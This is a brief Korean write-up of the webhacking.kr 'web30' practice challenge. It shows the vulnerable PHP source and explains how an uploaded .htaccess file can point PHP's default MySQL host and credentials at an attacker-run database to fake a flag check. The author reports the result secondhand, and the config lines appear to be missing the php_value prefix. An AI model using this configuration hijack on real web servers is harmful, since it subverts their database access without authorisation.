Webhacking.kr - web30 (풀이봄)
web30 (풀이 봄)
1
2
3
4
Your personal directory is ./upload/GFijJTyQXGgs/
./upload/GFijJTyQXGgs/index.php?view_source=1
똑같이 파일 업로드를 하는 문제
1
2
3
4
5
6
7
8
9
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>
Solution
풀이를 보니.. mysqli_connect()
함수는 인자로 host, username, port, passwd
를 가지는데, 아무 인자도 넣어주지 않으면 NULL, NULL, 3306, NULL
이 됨.
따라서 개인 db에서 chall30 db와 chall30_answer 테이블, flag 컬럼을 만든 뒤 외부접속용 계정 생성 후, 그 값을 넣어주면 result[0]
값으로 내가 만든 flag 값이 들어가게되므로 if문이 충족되어 /flag
페이지를 보여줄 것임.
아래는 php.ini 설정 값임.
1
2
3
4
5
6
7
8
mysqli.default_host string
The default server host to use when connecting to the database server if no other host is specified.
mysqli.default_user string
The default user name to use when connecting to the database server if no other name is specified.
mysqli.default_pw string
The default password to use when connecting to the database server if no other password is specified.
.htaccess 파일에 아래와 같은 내용으로 넣어주면 됨.
1
2
3
mysqli.default_host "IP주소"
mysqli.default_user "생성한 외부접속용 계정"
mysqli.default_pw "계정 비밀번호"
업로드 후 경로로 가보면 flag가 있다고 함..
This post is licensed under CC BY 4.0 by the author.